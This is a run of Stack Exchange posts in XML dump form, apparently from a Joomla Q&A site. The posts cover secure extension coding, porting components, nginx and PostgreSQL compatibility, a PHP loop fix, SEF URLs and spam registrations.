  <row Id="679" PostTypeId="2" ParentId="676" CreationDate="2014-05-07T21:53:14.980" Score="4" Body="&lt;p&gt;It is mostly safe for most extensions, However be very cautious on anything that may need to save/edit files, improper filtering or validation can create an entry point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you use JDatabase's API correctly you should be secure from sql injection as well. You can look at &lt;code&gt;com_content&lt;/code&gt; or &lt;code&gt;plg_system_loadpositon&lt;/code&gt; in a Joomla install to help figure out some of the finer points of various Joomla API's (since documentation is a bit hard to follow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also using the API's if they fail and some sort of vulnerability is used, the fix would probably end up being a core update (if its JDatabase, i can imagine a Joomla release within the hour if its discovery :D), rather then an update to your extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one major flaw of open source is that anyone intending to do harm has all the information needed to do so. If it is a closed extension (not publicly available) chances are there will never be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly the more simple the extension is (less code) the more likely it is that it will be 'invulnerable'. As an extension grows there are many more places a slight mistake can happen to create an entry point.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-05-07T21:53:14.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="680" PostTypeId="2" ParentId="69" CreationDate="2014-05-07T22:17:23.833" Score="4" Body="&lt;p&gt;I just noticed that the backend, under &lt;strong&gt;&lt;em&gt;Template Manager: Styles&lt;/em&gt;&lt;/strong&gt;, has a little icon (next to the checkbox) that when clicked will preview the home page with module positions shown.&lt;/p&gt;&#xA;" OwnerUserId="84" LastActivityDate="2014-05-07T22:17:23.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="681" PostTypeId="2" ParentId="675" CreationDate="2014-05-07T22:21:44.320" Score="5" Body="&lt;p&gt;This question is impossible to answer conclusively, but I think that it is worthwhile to take a stab at some of the most common pieces that could trip you up in porting code over (and there will be quite a few).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before getting in to specifics, all of this could be considered a hack, depending on your point of view. The CMS and Framework are very different from a component's standpoint. The CMS defines the exact structure to use. The Framework is designed to let you customize how your application runs and interacts. The Framework can definitely be designed to run components from the CMS, but at a certain point this is just you recreating the CMS, which seems pointless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the super short and simple answer: every way that your component interacts with the CMS needs to be redone, you will need to add a router, and you probably have to add namespaces or a new autoloader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's start with the second half of this. Odds are that you are using composer with the Joomla Framework, so you can bank on composer's autoloader loading up the classes as you need them. This is designed to run within namespaces and load based on that, so your component won't autoload. (I'm guessing on this, so if there is a better way, someone please comment.) This means that you either have to add your own autoloader for the MVC classes or rewrite them in a namespace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you will need to add your own router file to the application. Since you no longer have the menu manager, you will need to recreate this using the Router class. This is actually pretty straightforward to map urls to a controller, but you have to make sure this is in the application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, you have to support any CMS feature that you use in the component. The biggest one that comes to mind is &lt;code&gt;JFactory&lt;/code&gt;. Any script that calls that class to get the session, database, or document will not work. (Unless you port that class over and redefine its hooks to suit your application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you call &lt;code&gt;JComponentHelper&lt;/code&gt; somewhere? You would have to add support for that. Do you call to another helper for a core extension like com_content or com_users? That won't work either anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could get some simple extensions running on the framework easily. Those that hook into the CMS in lots of ways may require basically rebuilding the CMS to do all the pieces. This part really depends on the extension.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In closing, at this stage, it will most likely involve some type of hacking or copy/pasting of code form the CMS to the framework that you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe that the CMS will become more in line with the structure of the framework (i.e. uses composer, uses namespaces, etc.) that will make this easier. Right now, it is a pretty daunting task, though.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-05-07T22:21:44.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="682" PostTypeId="2" ParentId="568" CreationDate="2014-05-07T23:21:42.987" Score="3" Body="&lt;p&gt;I thought I would extend on Bakual's answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is the Refresh Manifest Cache?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://www.akeebabackup.com/support/admin-tools/15271-refresh-manifest-cache-failed.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/support/admin-tools/15271-refresh-manifest-cache-failed.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it detects database errors and fixes them. It's for when the update&#xA;  reports errors.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's causing it? How can I fix it?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to Joomla Admin. Go into Extension Manager -&gt;Discover -&gt; Purge Cache&lt;/li&gt;&#xA;&lt;li&gt;Then go into Extension Manager -&gt; Database -&gt; Fix&lt;/li&gt;&#xA;&lt;li&gt;Next go into Extension Manager -&gt; Discover -&gt; Discover&lt;/li&gt;&#xA;&lt;li&gt;Lastly install the found extensions/plugins/modules&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The problem should go away after doing the above process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is my installation safe?&lt;/strong&gt;&#xA;As Bakual pointed out it should be ok. I've not encountered any errors since updating and in one of the links below the developer said of the problem- it's &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nothing overly serious.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My information was obtained from &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-25/311-joomla-2-5-refresh-manifest-cache-failed-extension-is-not-currently-installed&quot; rel=&quot;nofollow&quot;&gt;http://www.inmotionhosting.com/support/edu/joomla-25/311-joomla-2-5-refresh-manifest-cache-failed-extension-is-not-currently-installed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.akeebabackup.com/support/admin-tools/15271-refresh-manifest-cache-failed.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/support/admin-tools/15271-refresh-manifest-cache-failed.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.akeebabackup.com/support/desktop-utilities/19568-cms-update-joomla-update.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/support/desktop-utilities/19568-cms-update-joomla-update.html&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-07T23:21:42.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="683" PostTypeId="1" AcceptedAnswerId="689" CreationDate="2014-05-07T23:39:41.057" Score="6" ViewCount="126" Body="&lt;p&gt;I'm considering changing from apache to nginx, but I imagine it's going to be a pain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read   &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Nginx&quot;&gt;http://docs.joomla.org/Nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs#Nginx&quot;&gt;http://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs#Nginx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far I haven't been able to find much information on problems associated with changing from apache to nginx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;LIKELY PROBLEMS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I'll need to convert any apache rules to nginx format. I expect extensions that rely on .htaccess files will either not work or I will have to manually convert their rules to nginx.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Are there any other Joomla related problems I'm likely to encounter&#xA;when going from apache to nginx? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Has anyone taken the nginx plunge for Joomla? Would you recommend doing it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="115" LastActivityDate="2014-05-08T14:32:50.687" Title="What Joomla specific problems am I likely to encounter when changing from apache to nginx?" Tags="|cms|nginx|apache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="684" PostTypeId="2" ParentId="664" CreationDate="2014-05-08T03:28:35.537" Score="4" Body="&lt;p&gt;O.k. So I found the answer. Took a little digging through the code, but it wasn't as difficult as I thought it would be. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To install a library via the discover installer you need to copy the xml manifest to ROOT/administrator/manifests/libraries &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then copy the rest of your library into ROOT/libraries &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that you will able to discover it using the Joomla admin GUI&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-05-08T03:28:35.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="685" PostTypeId="1" AcceptedAnswerId="686" CreationDate="2014-05-08T04:46:53.670" Score="1" ViewCount="861" Body="&lt;p&gt;I have a custom component that displays &quot;coming soon&quot; items based on dates. I am trying to hide all those items that are past today's date. However if there is no future items it does not display the custom text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do it inside a foreach loop? Or how can I insert php break? Or is there a better way of doing this? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($this-&amp;gt;items as $item) : ?&amp;gt;&#xA;    &amp;lt;?php if($item-&amp;gt;state ==1 &amp;amp;&amp;amp; strtotime($item-&amp;gt;event_date) &amp;gt; strtotime(JFactory::getDate())): ?&amp;gt;&#xA;        &amp;lt;div class=&quot;cont&quot;&amp;gt;&#xA;            &amp;lt;!-- Display values from DB --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php elseif($item-&amp;gt;state ==1 &amp;amp;&amp;amp; strtotime($item-&amp;gt;event_date) &amp;lt; strtotime(JFactory::getDate())): ?&amp;gt;&#xA;        &amp;lt;!-- Dont display anything --&amp;gt;&#xA;    &amp;lt;?php else: ?&amp;gt;&#xA;        &amp;lt;div class=&quot;cont&quot;&amp;gt;&#xA;            &amp;lt;!-- Display custom text --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="302" LastEditorUserId="22" LastEditDate="2014-05-08T05:36:43.517" LastActivityDate="2014-05-08T05:43:36.113" Title="Hide past items based on date inside foreach loop" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="686" PostTypeId="2" ParentId="685" CreationDate="2014-05-08T05:43:36.113" Score="3" Body="&lt;p&gt;You need to handle the &quot;else&quot; section outside of the foreach loop, since if there are no items, the foreach loop never runs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $item_displayed = false; ?&amp;gt;&#xA;&amp;lt;?php foreach ($this-&amp;gt;items as $item) : ?&amp;gt;&#xA;    &amp;lt;?php if($item-&amp;gt;state ==1 &amp;amp;&amp;amp; strtotime($item-&amp;gt;event_date) &amp;gt; strtotime(JFactory::getDate())): ?&amp;gt;&#xA;        &amp;lt;?php $item_displayed = true; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;cont&quot;&amp;gt;&#xA;            &amp;lt;!-- Display values from DB --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&amp;lt;?php if (!$item_displayed) : ?&amp;gt;&#xA;    &amp;lt;div class=&quot;cont&quot;&amp;gt;&#xA;        &amp;lt;!-- Display custom text --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I added a variable that states that an item has not been displayed. If any item in the loop is displayed, I then switch that variable to true. After the loop I will then display the custom text if there was no items or if no item is upcoming.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-05-08T05:43:36.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="687" PostTypeId="2" ParentId="676" CreationDate="2014-05-08T06:47:18.317" Score="7" Body="&lt;p&gt;Following the official documentation, here are some steps on the topic &lt;a href=&quot;http://docs.joomla.org/Secure_coding_guidelines&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Secure coding guidelines&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Validate any data you get from the request&lt;/strong&gt; (POST, GET, COOKIES, etc.). Don't trust the user and be as strict as possible. If you expect an &lt;code&gt;integer&lt;/code&gt;, don't allow a &lt;code&gt;string&lt;/code&gt; to be accepted.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;File uploads&lt;/strong&gt; - avoid, whenever possible, accepting file on public web pages. If you need to validate the file meta information and do all possible checks.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Constructing SQL queries&lt;/strong&gt; - understand how SQL injections work but also how you handle database errors. The more errors you display, the more information you give about your database structure. Ideally you log errors but do not display them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Secure forms&lt;/strong&gt; by using a token&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2015-07-24T18:37:00.677" LastActivityDate="2015-07-24T18:37:00.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="688" PostTypeId="1" AcceptedAnswerId="690" CreationDate="2014-05-08T07:40:50.550" Score="11" ViewCount="10905" Body="&lt;p&gt;Can I use PostgreSQL with Joomla a 3.3 production site (not for testing) and if so is there anything I should be aware of?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some feedback from someone who has actual installed and is using a Joomla website with a PostgreSQL database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="1629" LastEditDate="2014-08-20T15:33:12.293" LastActivityDate="2017-02-14T20:27:12.433" Title="Can I use PostgreSQL with Joomla 3.3" Tags="|joomla-3.x|database|installation|postgresql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="689" PostTypeId="2" ParentId="683" CreationDate="2014-05-08T07:57:51.730" Score="4" Body="&lt;p&gt;I have already taken the &amp;quot;plunge&amp;quot; to nginx, and my findings:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;.htaccess rules are one of the main problems, but can be overcome by&#xA;&amp;quot;translating&amp;quot; them to nginx configuration instructions (you can do&#xA;them by hand, but there are some handy tools on the internet to help&#xA;you convert them, like this one: &lt;a href=&quot;http://winginx.com/en/htaccess&quot; rel=&quot;nofollow noreferrer&quot;&gt;htaccess to nginx converter&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;Note that in some cases having an .htaccess with certain rules (which&#xA;nginx will ignore) will break the site! (nginx ignores it, but&#xA;somehow it breaks it (giving an error 500)). This has not happened to&#xA;the stock .htaccess from Joomla.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Virtual hosts are managed in a different way (not really related to&#xA;Joomla, but still important to know)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is indeed very fast! I compared to the same site with an Apache&#xA;server.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Other than that I haven't found any other problems.&lt;/p&gt;&#xA;&lt;p&gt;EDIT: some aditional input about the extensions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All the stock extensions work as expected&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The URL rewriting and SEO works as expected (as long as you define&#xA;the rules in nginx)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Other extensions work as expected, the ones I tested are:&lt;/p&gt;&#xA;&lt;p&gt;Akeeba Backup (latest); JCE (latest); Community Builder (latest);   Chronoforms (latest)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even my customized extensions (created by myself) work without any&#xA;hickups!&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;This was with two sites (the technical details are Joomla 3.2.2, nginx/1.1.19, PHP 5.4.25 (FPM), mySQL 5.5.35, Ubuntu 12.04.4).&lt;/p&gt;&#xA;&lt;p&gt;The bottom line is that in my tests and production sites, all is working fine and not that hard to set up and run, so go for it!&lt;/p&gt;&#xA;" OwnerUserId="38" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-05-08T14:32:50.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="690" PostTypeId="2" ParentId="688" CreationDate="2014-05-08T08:03:55.517" Score="18" Body="&lt;p&gt;&lt;strong&gt;You can use it, but I would not recommend it&lt;/strong&gt; especially if you are not familiar with Joomla's codebase and specific PostgreSQL particularities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the last couple of months I looked into a couple of PostgreSQL issues, as part of my time dedicated to the &lt;a href=&quot;http://docs.joomla.org/Bug_Squad&quot;&gt;Joomla Bug Squad&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never used it in production, but here are some issues / what to expect:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Supporting multiple database engines isn't just about writing a new driver&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PostgreSQL is NOT like MySQL&lt;/strong&gt; - MySQL is rather permissive when it comes to handling queries. PostgreSQL is not. What perfectly works on MySQL, does not necessarily work on PostgreSQL. Most typical issues:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sequences that are not updated, so new inserts fail because of the PK&lt;/li&gt;&#xA;&lt;li&gt;NOT NULL constraints do not allow inserting data&lt;/li&gt;&#xA;&lt;li&gt;when using aggregate functions, PostgreSQL requires all other columns to be in the GROUP BY clause, MySQL does not.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;3rd party support&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I don't want to say all, but most of the extension developers work exclusively with MySQL. You should ask in advance if a certain extension is compatible with PostgreSQL.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Community support is rather low&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The reality is that there are not so many users using PostgreSQL at this point. So all the development and testing is mostly done on MySQL. Each bug fix requires two testers. If none of them is using PostgreSQL, than it's likely that a change in the code will cause an issue in PostgreSQL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some bugs reported, but from the report coming in, till somebody volunteers to fix it and two people can test it it may pass a long long time.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Status in Joomla 3.3.0&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;(as of 08.04.2014)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you cannot insert new tags (SQL errors)&lt;/li&gt;&#xA;&lt;li&gt;you cannot install components that have an update server. (SQL errors)&lt;/li&gt;&#xA;&lt;li&gt;possible warning the the logs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Things can get better for PostgreSQL in Joomla&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Even though some things are broken with PostgreSQL right now, you can make a contribution to Joomla by helping fixing things out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issues are not that bad, but without community support, they can't be fixed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what you can do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Check if there are any issues already submitted regarding your issue.&lt;/li&gt;&#xA;&lt;li&gt;Report any issues you have, making the replication steps as clear as possible.&lt;/li&gt;&#xA;&lt;li&gt;You can help confirming new issues (issues marked as &quot;Open&quot;) &lt;/li&gt;&#xA;&lt;li&gt;You can propose a fix (via a Pull Request (PR) on github) for issues marked as &quot;Confirmed&quot;.&lt;/li&gt;&#xA;&lt;li&gt;You can test proposed fixes (issues marked as &quot;Pending&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Test before each new release is made public&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-08T08:10:28.400" LastActivityDate="2014-05-08T08:10:28.400" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="691" PostTypeId="2" ParentId="668" CreationDate="2014-05-08T08:30:22.960" Score="3" Body="&lt;p&gt;To generate a list of tags you can take &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/cms/helper/tags.php#L639&quot; rel=&quot;nofollow&quot;&gt;getTagTreeArray()&lt;/a&gt; method from &lt;code&gt;JHelperTags&lt;/code&gt; class as a base and modify it for you needs - you can populate the resulting array not only with the IDs, but also with the tag names. Then on frontend you can use &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_tags/helpers/route.php#L78&quot; rel=&quot;nofollow&quot;&gt;getTagRoute()&lt;/a&gt; method of &lt;code&gt;TagsHelperRoute&lt;/code&gt; class to get the tag link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-05-08T08:30:22.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="692" PostTypeId="2" ParentId="402" CreationDate="2014-05-08T09:00:12.793" Score="5" Body="&lt;p&gt;You need to make sure the view that displays the buttons has a form to submit.   The form name should be adminForm. The form should also have a hidden field named task and the dynamically generated token. I cannot recall the API off the top of my head, but something like &lt;code&gt;JHtml::_('form.token');&lt;/code&gt; (someone please correct this, if I'm mistaken)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This do the trick.&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="111" LastEditDate="2014-05-08T13:13:35.277" LastActivityDate="2014-05-08T13:13:35.277" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="693" PostTypeId="2" ParentId="677" CreationDate="2014-05-08T12:43:05.383" Score="4" Body="&lt;p&gt;As far as I know there isn't such component available. &#xA;That is a pretty neat idea actually. The problem right now with for example the article manager would be that, there is no information stored about who is reading what. We have a hits field and that is all.&#xA;Something more that I've noticed is that the users table &quot;last logged in&quot; field is immediately updated when a user logs in. So you can't use it for reference about the last time the currently logged in person logged on the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To achieve what you want you'll need to create a new component (maybe you could also achieve it with a plugin and a template override). You component should store the user id, the article ids, the last time the user logged in. Then on the base of this information you could show only articles that are relevant to the user. &lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-05-08T12:43:05.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="694" PostTypeId="1" CreationDate="2014-05-08T12:49:25.340" Score="5" ViewCount="5415" Body="&lt;p&gt;This documentation: Adapting a Joomla 1.5 extension to Joomla 2.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Adapting_a_Joomla_1.5_extension_to_Joomla_1.6#Renamed_events&quot; rel=&quot;noreferrer&quot;&gt;http://docs.joomla.org/Adapting_a_Joomla_1.5_extension_to_Joomla_1.6#Renamed_events&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really helped me when I migrated my component to 2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if there is something similar that shows you how to migrate your component from 2.5 to 3.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2017-10-02T13:25:58.713" Title="Migrating component from 2.5 to 3.3" Tags="|joomla-3.x|joomla-2.5|development|migration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="695" PostTypeId="2" ParentId="694" CreationDate="2014-05-08T12:56:57.417" Score="12" Body="&lt;p&gt;Even the link you have provided in your question does not provide everything single thing that need to be change when migrating an extension. There are always fairly big API differences between each Long Term Release version of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Joomla 3.x, the main thing I tend to look at is the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;Potential backward compatibility issues in Joomla 3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to this, I also look at the latest API site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://api.joomla.org/cms-3/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2017-10-02T13:25:58.713" LastActivityDate="2017-10-02T13:25:58.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="696" PostTypeId="1" CreationDate="2014-05-08T13:20:14.810" Score="10" ViewCount="7677" Body="&lt;p&gt;I was wondering if it is possible to remove the 'index.php' that is shown in every URL.&lt;/p&gt;&#xA;" OwnerUserId="372" LastEditorUserId="126" LastEditDate="2015-08-28T20:24:33.677" LastActivityDate="2016-07-03T02:41:02.287" Title="How to remove the 'index.php' from URL's?" Tags="|joomla-3.x|url|.htaccess-configuration|sef|seo|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="697" PostTypeId="2" ParentId="696" CreationDate="2014-05-08T13:41:19.110" Score="17" Body="&lt;p&gt;You can do that by enabling the SEF URLs and especially the parameter &quot;Use URL rewriting&quot; in the Joomla global configuration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that this will generate an internal server error if you didn't create the &lt;code&gt;.htaccess&lt;/code&gt; file before enabling the option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a doc page explaining what steps are needed to get those nice URLs. Have a look here: &lt;a href=&quot;http://docs.joomla.org/Enabling_Search_Engine_Friendly_%28SEF%29_URLs&quot;&gt;http://docs.joomla.org/Enabling_Search_Engine_Friendly_(SEF)_URLs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you have to rename the &lt;code&gt;htaccess.txt&lt;/code&gt; file found in your Joomla root directory. Depending on your hoster, additional steps are needed.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-08T13:41:19.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="698" PostTypeId="1" AcceptedAnswerId="699" CreationDate="2014-05-08T14:06:42.120" Score="6" ViewCount="2348" Body="&lt;p&gt;I'm receiving a lot of bulk registrations from emails which don't correspond with the name, probably generated from a list on my joomla pages. How to prevent it? It is any danger behind that? &lt;/p&gt;&#xA;" OwnerUserId="231" LastEditorUserId="159" LastEditDate="2014-05-08T18:40:20.053" LastActivityDate="2014-05-09T07:05:19.797" Title="How to avoid getting bulk registrations?" Tags="|user|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="699" PostTypeId="2" ParentId="698" CreationDate="2014-05-08T14:28:38.033" Score="3" Body="&lt;p&gt;They are likely spammers which try to use your system. If you have a forum, you will see them posting nice texts about some pharma and shoes :-D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need the user registration, you can shut it down in the configuration.&#xA;If you need it, you can add some spam plugins which will block the registration based on spam lists.&#xA;There is a whole category on JED listing those extensions: &lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/spam-protection&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/spam-protection&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-08T14:28:38.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
